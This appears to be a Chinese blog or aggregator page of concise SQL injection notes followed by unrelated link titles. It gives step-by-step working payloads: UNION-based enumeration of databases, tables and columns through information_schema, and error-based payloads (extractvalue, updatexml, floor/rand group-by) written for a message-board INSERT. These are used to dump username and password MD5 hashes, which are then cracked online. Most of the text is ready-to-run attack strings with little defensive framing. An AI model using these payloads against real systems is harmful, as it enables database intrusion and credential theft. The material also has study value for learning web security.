当前位置: 首页 > news >正文

SQL 注入笔记(Union + 报错注入・精简版)

一、Union 注入实操

1. 判断注入点

  • 改变 id 显示不同数据
  • 输入特殊字符 / 乱码报错
  • 示例:id=1id=2id=啊

2. order by 查字段数

plaintext

id=1 order by 1 id=1 order by 2 id=1 order by 3 id=1 order by 4 id=1 order by 5 # 报错

→ 字段数为4

3. 判断回显位置

plaintext

id=-1 union select 1,2,3,4

id=-1让原查询无结果看到页面回显2、3、4,这些位置可放注入语句

4. 查数据库名

plaintext

id=-1 union select 1,2,version(),database()

5. 查所有库名

plaintext

id=-1 union select 1,2,version(),group_concat(schema_name) from information_schema.schemata

6. 查表名(已知库名 jrlt)

plaintext

id=-1 union select 1,2,version(),group_concat(table_name) from information_schema.tables where table_schema='jrlt'

7. 查字段名(表 users)

plaintext

id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'

8. 查数据(账号密码)

plaintext

id=-5 union select 1,2,3,concat(name,':',password) from users limit 0,1

得到 MD5 密文,去 cmd5 等网站解密


二、报错注入

1. 适用场景

  • Union 无法使用
  • 页面显示数据库报错信息

2. 常用报错语句

(1)extractvalue 报错

plaintext

id=1 and extractvalue(1, concat(0x5c, (select database()), 0x5c))
(2)updatexml 报错

plaintext

id=1 and updatexml(1, concat(0x5e, (select database()), 0x5e), 1)
(3)group by 重复键报错(floor/rand/count)

plaintext

1 and (select 1 from (select count(*),concat(0x5e,(select version()),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)

3. 报错注入实战(insert 留言场景)

闭合单引号,构造:

plaintext

' or 报错语句 or '
(1)查库名

plaintext

' or (select 1 from (select count(*),concat(0x5e,database(),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '
(2)查表名

plaintext

' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema='jrlt'),0x5c)) or '
(3)查字段名

plaintext

' or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5e),1) or '
(4)查数据(updatexml 长度限制 32 位,分段读取)

plaintext

' or updatexml(1,concat(0x5e,(select concat(name,':',substring(password,1,16)) from users limit 0,1),0x5e),1) or ' ' or updatexml(1,concat(0x5e,(select concat(name,':',substring(password,17)) from users limit 0,1),0x5e),1) or '

拼接后解密 MD5。


三、注入流程速记

  1. 找注入点
  2. order by查字段数
  3. union select找回显位
  4. 查库 → 查表 → 查字段 → 查数据
  5. Union 不行 → 用报错注入
http://www.jsqmd.com/news/489564/

相关文章:

  • uniflash烧录报错--Error on line 1191 : Undefined Record Type
  • 精准匹配,是“简申”品牌价值的核心引擎
  • 咸鱼逆向参数
  • Win11 → WSL2 → Ubuntu → OpenClaw大龙虾安装
  • 华睿MVP:动态坐标系标定
  • 从手动搬砖到自动化运营:我的Twitter多账号管理痛苦自救指南
  • Go数据结构与排序算法实战
  • HTML textarea左侧添加行号技巧
  • ClaudeCode高效安装与性能优化全攻略
  • 掌握Git命令,高效管理代码
  • GANs深度解析:原理到前沿应用
  • html css js网页制作成品——HTML+CSS果园乡水果店网页设计(5页)附源码
  • Java Bean属性序列化技巧全解析
  • 深入浅出 HTTP 与 HTTPS:核心区别、加密原理与实战解析
  • Windows系统深度维护全攻略
  • C++入门:从基础语法到实战应用
  • ArcGIS高效转换Shapefile到KML技巧
  • React源码解密:核心架构与实现
  • Ollama本地大模型一键部署全攻略
  • 饼状图修复技术全解析
  • 【JAVA基础11】—— 吃透原码、反码、补码:计算机数值表示的底层逻辑
  • 深度学习L2正则化实战指南
  • Windows下快速安装Ruby指南
  • GR00T N1.6-一个用于通用人形机器人的先进开源基座模型--2025.12.15
  • 51单片机-实现红外遥控模块教程
  • 低成本能谱仪设计:基于分立器件的模拟前端与数字后端实现方案
  • 问卷设计界的“智能革命”:书匠策AI如何颠覆传统,重塑科研新生态?
  • 矩阵键盘工作原理与实战技巧
  • Jenkins+K8s自动化部署Spring Boot全流程
  • Windows下VSCode配置C++开发环境